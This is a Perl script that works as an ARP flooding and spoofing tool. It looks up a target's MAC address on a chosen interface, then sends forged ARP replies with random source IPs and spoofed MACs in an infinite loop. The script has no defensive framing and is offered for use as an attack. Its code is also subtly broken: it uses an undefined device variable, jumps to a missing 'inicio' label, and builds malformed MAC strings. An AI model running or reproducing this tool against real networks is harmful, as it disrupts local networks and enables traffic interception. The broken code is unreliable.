#!/usr/bin/perl
use Net::ARP ;
use Term::ANSIColor;

print color ("red"), "[+]",color ("reset"), "Interface to Use Ex: eth1 | wlan0 | eth0 \n" ;
$iface = <STDIN>;
print color ("red"), "[+]",color ("reset"), "Insert IP to Get Mac Addr \n" ;
$target = <STDIN> ;
chop ( $target,$iface ) ;

$getmac = Net::ARP::arp_lookup($dev,$target);

if ($getmac =~ unknow ) {
    print "Something went Wrong The Target Retrieved an unknow Mac addr\n";
    print "Prees Any Key  To Restart Program\n";
    $restart = <STDIN>;
    goto inicio ;
}

else {
    print color ("red"), "[+]",color ("reset"), " $target mac is $getmac \n";
    print color ("green"), "[+]",color ("reset"), " type.. yes ..to flood || .. no .. to restart Program \n";
    $flood = <STDIN>;
    if ($flood =~ yes ){
    while (1) {
my $src = join ".", map int rand 255, 1 .. 4;
my $spoofedmac = join ":", map int rand 99, 1 .. 6, ;
Net::ARP::send_packet($iface,                     # Device
                        $src,                     # Source IP
                        $target,                  # Destination IP
                        $spoofedmac,              # Source MAC
                        $getmac,                  # Destinaton MAC
                        'reply');                 # ARP operation

print "Packeth Sent Tru $iface to $target using $src as ip \n";
print "with this spoofed mac $spoofedmac \n";
    }               }
    elsif ($flood =~ "no") {
        system " clear";
        goto inicio;}
        }